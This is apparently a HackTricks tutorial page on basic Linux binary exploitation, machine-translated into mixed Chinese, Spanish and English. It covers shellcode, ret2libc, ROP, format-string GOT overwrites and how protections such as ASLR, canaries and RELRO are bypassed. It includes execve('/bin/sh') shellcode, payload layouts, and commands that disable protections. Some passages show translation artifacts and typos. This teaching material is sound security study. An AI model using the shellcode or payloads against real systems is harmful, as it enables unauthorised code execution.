hacktricks/exploiting/linux-exploiting-basic-esp
2024-02-05 03:17:45 +00:00
..
rop-leaking-libc-address Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
bypassing-canary-and-pie.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
format-strings-template.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
fusion.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
README.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
ret2lib.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
rop-syscall-execv.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00

Linux Exploiting (Basic) (SPA)

Linux Exploiting (Basic) (SPA)

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

ASLR

Aleatorización de direcciones

Deactivate Global Address Space Layout Randomization (ASLR) (root):
echo 0 > /proc/sys/kernel/randomize_va_space
Reactivate Global Address Space Layout Randomization: echo 2 > /proc/sys/kernel/randomize_va_space

Deactivate for a single execution (no root required):
setarch `arch` -R ./example arguments
setarch `uname -m` -R ./example arguments

Deactivate stack execution protection
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack example.c -o example

Core file
ulimit -c unlimited
gdb /exec core_file
/etc/security/limits.conf -> * soft core unlimited

Text
Data
BSS
Heap

Stack

BSS Section: Uninitialized global or static variables

static int i;

数据部分:全局或静态初始化的变量

int i = 5;

文本部分指令代码opcodes

堆部分动态分配的缓冲区malloc()calloc()realloc()

栈部分堆栈传递的参数环境字符串env本地变量...

1.栈溢出

缓冲区溢出,堆栈溢出,堆栈破坏

段错误:当尝试访问未分配给进程的内存地址时发生。

要获取程序内函数的地址,可以执行以下操作:

objdump -d ./PROGRAMA | grep FUNCION

ROP

调用 sys_execve

{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}

2.SHELLCODE

查看内核中断cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; 清空 eax
xor ebx, ebx ; ebx = 0因为没有参数要传递
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; 执行 syscall

nasm -f elf assembly.asm —> 返回一个 .o 文件
ld assembly.o -o shellcodeout —> 生成一个包含汇编代码的可执行文件,可以用 objdump 提取 opcodes
objdump -d -Mintel ./shellcodeout —> 查看是否为我们的 shellcode 并提取 OpCodes

验证 shellcode 是否有效

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

为了确保系统调用被正确执行,应编译前一个程序并在strace ./PROGRAMA_COMPILADO中看到系统调用。

在创建shellcode时可以使用一个技巧。第一条指令是跳转到一个调用。该调用会调用原始代码并将EIP放入堆栈。在call指令之后我们已经放入了所需的字符串因此可以使用该EIP指向字符串并继续执行代码。

EJ TRICK (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

使用堆栈(/bin/sh)的基本ESP

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:
EJ FNSTENV指令用于将FPU环境保存到指定的内存位置。

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Egg Hunter:

这是一小段代码用于遍历与进程关联的内存页面以寻找其中存储的shellcode查找shellcode中的某个签名。在只有少量空间用于注入代码的情况下非常有用。

多态Shellcode

这些是加密的shellcode其中包含一小段代码用于解密并跳转到它使用Call-Pop技巧这是一个凯撒加密的示例

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode
  1. 攻击帧指针 (EBP)

在我们可以修改 EBP 但无法修改 EIP 的情况下非常有用。

已知在退出函数时会执行以下汇编代码:

movl               %ebp, %esp
popl                %ebp
ret

以这种方式可以在从另一个函数调用的函数fvuln中修改 EBP当调用 fvuln 的函数结束时,其 EIP 可能会被修改。

在 fvuln 中,可以引入一个假的 EBP指向一个包含 shellcode 地址 + 4 的位置(需要加上 4 是因为 pop 指令。因此当退出函数时ESP 中将包含 &(&Shellcode)+4 的值,通过 pop 指令ESP 将减去 4指向 shellcode 的地址,从而执行 ret 指令时跳转到 shellcode。

Exploit:
&Shellcode + "AAAA" + SHELLCODE + 填充 + &(&Shellcode)+4

Off-by-One Exploit
只允许修改 EBP 的最不显著字节。可以执行类似上述的攻击,但存储 shellcode 地址的内存必须与 EBP 的前三个字节共享。

4. Return to Libc 方法

当栈不可执行或留下很小的缓冲区以进行修改时,这种方法非常有用。

ASLR 导致每次执行时函数加载到内存中的位置不同。因此,在这种情况下,此方法可能不起作用。对于远程服务器,由于程序在同一地址上持续运行,因此此方法可能很有用。

  • cdecl(C 声明) 将参数放入栈中,并在退出函数时清理堆栈
  • stdcall(标准调用) 将参数放入堆栈中,由被调用函数清理堆栈
  • fastcall 将前两个参数放入寄存器中,其余参数放入堆栈中

将 libc 中 system 函数的地址放入,并将字符串 “/bin/sh” 作为参数传递,通常从环境变量中传递。此外,使用 exit 函数的地址,以便在不再需要 shell 时退出程序而不会出现问题(并写入日志)。

export SHELL=/bin/sh

要找到所需的地址,可以在 GDB 中查看:
p system
p exit
rabin2 -i 可执行文件 —> 给出程序加载时使用的所有函数的地址
(在 start 或某个断点内):x/500s $esp —> 在这里搜索字符串 /bin/sh

一旦获得这些地址,exploit 如下:

“A” * EBP 距离 + 4EBP最好是真实的 EBP以避免段错误 + system 地址(将覆盖 EIP + exit 地址(从 system(“/bin/sh”) 退出时将调用此函数,因为堆栈的前 4 个字节被视为要执行的下一个 EIP 地址) + “/bin/sh” 地址(作为传递给 system 的参数)

这样EIP 将被覆盖为 system 函数的地址,该函数将以字符串 “/bin/sh” 作为参数,并在退出该函数时执行 exit() 函数。

可能会遇到某个函数地址的某个字节为 null 或空格 (\x20) 的情况。在这种情况下,可以反汇编该函数之前的地址,因为可能会有多个 NOP这样可以调用其中一个而不是直接调用函数例如使用 > x/8i system-4

这种方法有效,因为使用 ret 指令而不是 call 来调用 system 函数时,函数会将前 4 个字节视为要返回的 EIP 地址。

使用此方法的一个有趣技巧是调用 strncpy() 将 payload 从栈移动到堆,然后使用 gets() 执行该 payload。

另一个有趣的技巧是使用 mprotect(),它允许为内存的任何部分分配所需的权限。它适用于 BDS、MacOS 和 OpenBSD但不适用于 Linux控制不允许同时授予写入和执行权限。通过此攻击可以将堆栈重新配置为可执行。

函数链接

基于上述技术,这种 exploit 形式包括:
填充 + &Function1 + &pop;ret; + &arg_fun1 + &Function2 + &pop;ret; + &arg_fun2 + …

这样可以链接要调用的函数。此外,如果要使用具有多个参数的函数,可以放置所需的参数(例如 4 个)并放置这 4 个参数,并查找包含 opcodes 的地址pop, pop, pop, pop, ret —> objdump -d 可执行文件

通过伪造帧进行链接EBP 链接)

利用可以操纵 EBP 的能力,通过 EBP 和 "leave;ret" 来链接多个函数的执行。

填充

  • 在 EBP 中放置指向的假 EBP2nd fake EBP + 要执行的函数:(&system() + &leave;ret + &“/bin/sh”)
  • 在 EIP 中放置指向 &(leave;ret) 的地址

启动 shellcode其中包含指向 shellcode 下一部分的地址例如2nd fake EBP + &system() + &(leave;ret;) + &”/bin/sh”

第二个 EBP 将是3rd fake EBP + &system() + &(leave;ret;) + &”/bin/ls”

可以在可以访问的内存部分中无限重复此 shellcode从而轻松地将 shellcode 分割为小块内存。

(通过混合之前看到的 EBP 和 ret2lib 的漏洞来链接函数的执行)

5. 补充方法

Ret2Ret

当无法将堆栈地址放入 EIP检查 EIP 不包含 0xbf或无法计算 shellcode 的位置时这种方法非常有用。但是易受攻击的函数接受一个参数shellcode 将在此处)。

通过将 EIP 更改为指向 ret 的地址,将加载下一个地址(即函数的第一个参数的地址)。也就是说,将加载 shellcode。

Exploit 如下SHELLCODE + 填充(直到 EIP + &ret(堆栈的下几个字节指向 shellcode 的开头,因为将参数传递给堆栈中的地址)

似乎像 strncpy 这样的函数在完成后会从堆栈中删除存储 shellcode 的地址,从而使此技术无效。也就是说,传递给函数的参数地址(保存 shellcode 的地址)被 0x00 修改,因此在第二个 ret 调用时会遇到 0x00程序将终止。

**Ret2PopRet**

如果我们无法控制第一个参数但可以控制第二个或第三个参数我们可以用指向pop-ret或pop-pop-ret的地址来覆盖EIP。

Murat技术

在Linux中所有程序都映射到0xbfffffff开始。

通过观察Linux中新进程堆栈的构建方式可以开发一种利用程序在仅有shellcode变量的环境中启动的exploit。因此可以计算出shellcode变量的地址为addr = 0xbfffffff - 4 - strlen(完整可执行文件名) - strlen(shellcode)

这样就可以轻松地获取包含shellcode的环境变量的地址。

这是因为execle函数允许创建仅包含所需环境变量的环境。

跳转到ESPWindows风格

由于ESP始终指向堆栈的开头这种技术涉及用jmp espcall esp的地址替换EIP。这样在覆盖EIP后shellcode将被保存因为在执行retESP将指向下一个地址即shellcode所在的位置。

如果Windows或Linux未启用ASLR则可以调用存储在共享对象中的jmp espcall esp。如果启用了ASLR则可以在受影响的程序内部搜索。

此外将shellcode放在EIP损坏后而不是堆栈中间使得在函数执行过程中执行的push或pop指令不会触及shellcode如果放在函数堆栈中间可能会发生

类似地如果我们知道函数返回存储shellcode的地址可以调用call eaxjmp eax (ret2eax)

ROPReturn Oriented Programming或借用代码块

被调用的代码块称为gadgets。

这种技术涉及通过ret2libc技术和pop,ret的使用来链接不同函数的调用。

在某些处理器架构中每个指令是32位的一组例如MIPS。然而在Intel中指令的大小是可变的多个指令可以共享一组位例如

movl $0xe4ff, -0x(%ebp) —> 包含字节0xffe4也可以被解释为jmp *%esp

这样就可以执行一些实际上不在原始程序中的指令。

ROPgadget.py有助于在二进制文件中找到值。

该程序还可用于创建payloads。您可以提供要提取ROPs的库它将生成一个Python payload您只需提供该库的地址即可使用生成的payload作为shellcode。此外由于它使用系统调用它实际上不在堆栈上执行任何操作而是仅保存将通过ret执行的ROP地址。要使用此payload必须通过ret指令调用payload。

整数溢出

当变量无法处理传递给它的如此大的数字时,就会发生这种类型的溢出,可能是由于有符号和无符号变量之间的混淆,例如:

#include <stdion.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}

在上面的示例中我们看到程序期望有2个参数。第一个是下一个字符串的长度第二个是字符串本身。

如果我们将第一个参数设为负数将会显示len < 256我们会通过这个过滤器并且strlen(buffer)也会小于l因为l是无符号整数会非常大。

这种溢出类型并不是为了在程序进程中写入内容,而是为了绕过设计不良的过滤器以利用其他漏洞。

未初始化的变量

未初始化的变量可能会取得任意值,观察这一点可能会很有趣。它可能会取决于前一个函数中某个变量的值,而这个变量可能会受到攻击者的控制。

格式化字符串

在C语言中printf 是一个用于打印字符串的函数。该函数期望的第一个参数带有格式化符号的原始文本。接下来期望的参数是要替换原始文本中格式化符号

攻击者的文本被放置为该函数的第一个参数时,就会出现漏洞。攻击者可以利用printf格式化字符串的能力编写特殊输入,从而在任何地址写入任何数据。通过这种方式,可以执行任意代码

格式化符号:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

%n 写入的是已写入字节数指定地址。写入我们需要写入的十六进制数相同的字节数是您可以写入任何数据的方法。

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

GOT全局偏移表/ PLT过程链接表

这是包含程序使用的外部函数地址的表格。

使用以下命令获取该表的地址:objdump -s -j .got ./exec

观察在 GEF 中加载可执行文件后,您可以看到在 GOT 中的函数:gef➤ x/20x 0xDIR_GOT

使用 GEF您可以开始调试会话并执行 got 以查看 got 表:

在二进制文件中GOT 包含函数的地址或将加载函数地址的 PLT 部分的地址。此漏洞利用的目标是覆盖稍后将执行的函数的 GOT 条目,使用 system 函数的 PLT 地址。理想情况下,您将覆盖将由您控制参数的函数的 GOT因此您将能够控制发送到系统函数的参数

如果脚本未使用 system,则系统函数将不会在 GOT 中有条目。在这种情况下,您需要首先泄漏 system 函数的地址。

过程链接表是 ELF 文件中的只读表存储所有需要解析的必要符号。当调用这些函数之一时GOT 将重定向流到 PLT以便解析函数的地址并将其写入 GOT。然后下次对该地址执行调用时函数将直接调用无需解析。

您可以使用 objdump -j .plt -d ./vuln_binary 查看 PLT 地址。

利用流程

如前所述,目标是覆盖稍后将调用的函数在 GOT 表中的地址。理想情况下,我们可以将地址设置为位于可执行部分的 shellcode但您很可能无法在可执行部分编写 shellcode。因此另一种选择是覆盖一个从用户接收其参数的函数并将其指向 system 函数。

通常,编写地址需要两个步骤:首先写入地址的 2 字节,然后写入另外 2 字节。为此,使用 $hn

HOB 是地址的 2 个高字节
LOB 是地址的 2 个低字节

因此,由于格式字符串的工作方式,您需要首先写入 [HOBLOB] 中较小的一个,然后再写入另一个。

如果 HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

如果 HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

格式字符串漏洞模板

您可以在此处找到使用格式字符串利用 GOT 的模板:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

.fini_array

本质上,这是一个在程序完成之前将被调用的函数结构。如果您可以通过跳转到一个地址调用您的 shellcode或者在需要再次返回到主函数以第二次利用格式字符串的情况下这将非常有趣。

objdump -s -j .fini_array ./greeting

./greeting:     file format elf32-i386

Contents of section .fini_array:
8049934 a0850408

#Put your address in 0x8049934

请注意这不会创建一个永久循环因为当你回到主函数时canary会注意到栈的末尾可能已经被破坏函数不会再次被调用。因此通过这种方法你将能够多执行一次漏洞。

格式化字符串以转储内容

格式化字符串也可以被滥用来从程序内存中转储内容。
例如在以下情况下栈中有一个指向标志的本地变量。如果你找到内存中指向标志的指针在哪里你可以使printf访问该地址并打印标志

所以,标志在0xffffcf4c

从泄漏中你可以看到指向标志的指针在第8个参数中

因此访问第8个参数你可以获得标志

请注意,根据先前的利用并意识到你可以泄漏内容,你可以将指针设置到printf加载的可执行部分并将其完全转储!

DTOR

{% hint style="danger" %} 现在很少见到带有dtor部分的二进制文件。 {% endhint %}

析构函数是在程序结束之前执行的函数。
如果你设法将一个shellcode的地址写入__DTOR_END__,那么它将在程序结束之前执行。
获取此部分的地址:

objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”

通常你会在值ffffffff00000000之间找到DTOR部分。因此,如果你只看到这些值,这意味着没有任何函数注册。因此,覆盖00000000地址shellcode的地址以执行它。

格式化字符串到缓冲区溢出

sprintf将格式化字符串移动到一个变量中。因此,您可以滥用字符串的格式来导致变量中的缓冲区溢出
例如,负载%.44xAAAA将在变量中写入44B+"AAAA",这可能会导致缓冲区溢出。

__atexit结构

{% hint style="danger" %} 现在很奇怪去利用这个。 {% endhint %}

atexit()是一个函数,其他函数作为参数传递给它。这些函数将在执行**exit()main返回时执行。
如果您可以
修改其中任何一个函数地址**使其指向shellcode那么您将控制进程,但这目前更加复杂。
目前要执行的函数的地址被隐藏在几个结构后面,最终指向的地址不是函数的地址,而是使用XOR加密随机密钥进行位移。因此目前这种攻击向量在至少在x86和x64_86上不太有用
加密函数是**PTR_MANGLE。其他架构如m68k、mips32、mips64、aarch64、arm、hppa... 不实现加密函数,因为它返回与输入相同的值**。因此,这些架构可以通过这种向量进行攻击。

setjmp()和longjmp()

{% hint style="danger" %} 现在很奇怪去利用这个。 {% endhint %}

Setjmp()允许保存上下文(寄存器)
longjmp()允许恢复上下文。
保存的寄存器是:EBX, ESI, EDI, ESP, EIP, EBP
问题在于EIP和ESP是通过**PTR_MANGLE函数传递的,因此易受攻击的架构与上述相同**。
它们对错误恢复或中断很有用。
但根据我所了解,其他寄存器没有受到保护,因此如果在被调用的函数内部有call ebxcall esicall edi则可以接管控制。或者还可以修改EBP以修改ESP。

VTable和VPTR在C++中

每个类都有一个Vtable,它是一个指向方法的数组。

每个的对象都有一个VPtr,它是其类数组的指针。VPtr是每个对象头部的一部分因此如果覆盖VPtr,它可以被修改为指向一个虚拟方法以便执行函数时会转到shellcode。

预防措施和规避

ASLR并非完全随机

PaX将进程的地址空间分为3组

已初始化和未初始化的代码和数据:.text、.data和.bss —> 变量delta_exec中的16位熵此变量在每个进程中随机初始化并添加到初始地址中

由mmap()和共享库分配的内存 —> 16位delta_mmap

堆栈 —> 24位delta_stack —> 实际上是11位从第10到第20字节 —> 对齐到16字节 —> 堆栈的实际地址有524,288个可能值

环境变量和参数在堆栈上的偏移量小于一个缓冲区。

Return-into-printf

这是一种将缓冲区溢出转换为格式字符串错误的技术。它涉及替换EIP以指向函数的printf并将操纵的格式字符串作为参数传递给它以获取有关进程状态的值。

对库的攻击

库的位置具有16位随机性 = 65636个可能地址。如果一个易受攻击的服务器调用fork()则内存地址空间将在子进程中复制并保持不变。因此可以尝试对libc的usleep()函数进行暴力破解将“16”作为参数传递以便在响应时间超过正常时间时找到该函数。一旦知道该函数的位置就可以获取delta_mmap并计算其他值。

要确保ASLR有效唯一的方法是使用64位架构。在那里没有暴力攻击。

StackGuard和StackShield

StackGuard在EIP之前插入 —> 0x000aff0dnull, \n, EndOfFile(EOF), \r —> 仍然容易受到recv()、memcpy()、read()、bcoy()的攻击不保护EBP

StackShield比StackGuard更复杂

它在一个表中保存所有返回EIP的地址以便溢出不会造成任何损害。此外可以比较这两个地址以查看是否发生了溢出。

还可以将返回地址与限制值进行比较因此如果EIP指向与通常不同的位置如数据空间就会知道。但这可以通过Ret-to-lib、ROP或ret2ret绕过。

正如您所看到的stackshield也不保护本地变量。

Stack Smash Protector (ProPolice) -fstack-protector

在EBP之前放置canary。重新排列本地变量使缓冲区位于最高位置因此无法覆盖其他变量。

此外,它在堆栈上方(在本地变量上方)进行安全复制传递的参数,并使用这些副本作为参数。

不能保护少于8个元素的数组或用户结构中的缓冲区。

canary是从“/dev/urandom”中获取的随机数否则为0xff0a0000。它存储在TLS线程本地存储中。线程共享相同的内存空间TLS是每个线程的全局或静态变量的区域。但是原则上这些变量是从父进程复制的尽管子进程可能修改这些数据而不会影响父进程或其他子进程的数据。问题在于如果使用fork()但没有创建新的canary则所有进程父进程和子进程都使用相同的canary。在i386中它存储在gs:0x14在x86_64中它存储在fs:0x28

此保护会定位具有可能受到攻击的缓冲区的函数并在函数开头插入代码以放置canary并在末尾插入代码以进行检查。

fork()函数会精确复制父进程因此如果Web服务器调用fork()可以逐字节进行暴力破解直到找到正在使用的canary。

如果在fork()后使用execve()函数则会覆盖空间攻击将不再可能。vfork()允许执行子进程而不创建副本,直到子进程尝试写入时才创建副本。

只读重定位RELRO

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

没有relro

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

对于没有启用 relro 的二进制文件,我们可以看到 fgetsgot 表地址为 0x404018。查看内存映射,我们发现它位于 0x4040000x405000 之间,具有权限 rw,这意味着我们可以读取和写入它。对于启用 relro 的二进制文件,我们看到二进制运行时的 got 表地址(启用了 pie因此此地址会更改0x555555557fd0。在该二进制文件的内存映射中,它位于 0x00005555555570000x0000555555558000 之间,具有内存权限 r,这意味着我们只能从中读取。

那么如何绕过呢?我通常使用的典型绕过方法是不要写入 relro 导致只读的内存区域,并找到另一种获取代码执行的方式

请注意,为了实现这一点,二进制文件在执行之前需要知道函数的地址:

  • 惰性绑定:在第一次调用函数时搜索函数的地址。因此,在执行期间 GOT 需要具有写权限。
  • 立即绑定:函数的地址在执行开始时解决,然后对敏感部分(如 .got、.dtors、.ctors、.dynamic、.jcr给予只读权限。`**-z relro**y**-z now`**

要检查程序是否使用立即绑定,可以执行以下操作:

readelf -l /proc/ID_PROC/exe | grep BIND_NOW

当二进制文件加载到内存中并首次调用函数时,会跳转到 PLTProcedure Linkage Table然后跳转jmp到 GOT并发现该条目尚未解析包含 PLT 的下一个地址)。因此,会调用 Runtime Linker 或 rtfd 来解析地址并将其保存在 GOT 中。

当调用函数时,会调用 PLT它包含存储函数地址的 GOT 的地址,因此会将流程重定向到那里,从而调用函数。然而,如果这是第一次调用该函数,则 GOT 中包含的是 PLT 的下一条指令,因此流程会继续执行 PLT 的代码rtfd并获取函数地址将其保存在 GOT 中并调用它。

在将二进制文件加载到内存中时,编译器告诉它在运行程序时应该加载的数据的偏移量。

懒绑定Lazy binding—> 第一次调用函数时会查找函数地址,因此 GOT 具有写入权限,以便在查找时将其保存在那里,无需再次查找。

立即绑定Bind now—> 在加载程序时查找函数地址,并将 .got、.dtors、.ctors、.dynamic、.jcr 等部分的权限更改为只读。-z relro-z now

尽管如此,通常程序并未使用这些选项,因此这些攻击仍然可能发生。

readelf -l /proc/ID_PROC/exe | grep BIND_NOW —> 用于检查是否使用 BIND NOW

Fortify Source -D_FORTIFY_SOURCE=1 或 =2

尝试识别不安全地从一个地方复制到另一个地方的函数,并将该函数更改为安全函数。

例如:
char buf[16];
strcpy(but, source);

它将识别为不安全,并将 strcpy() 更改为 __strcpy_chk(),使用缓冲区的大小作为最大要复制的大小。

=1=2 之间的区别是:

第二个不允许 %n 来自具有写入权限的部分。此外,只有在使用前面的参数时才能使用参数直接访问,也就是说,只有在使用了 %2$d%1$d 之后才能使用 %3$d

要显示错误消息,使用 argv[0]因此如果将其设置为另一个位置的地址如全局变量错误消息将显示该变量的内容。第191页

Libsafe 替换

通过以下方式激活LD_PRELOAD=/lib/libsafe.so.2

“/lib/libsave.so.2” > /etc/ld.so.preload

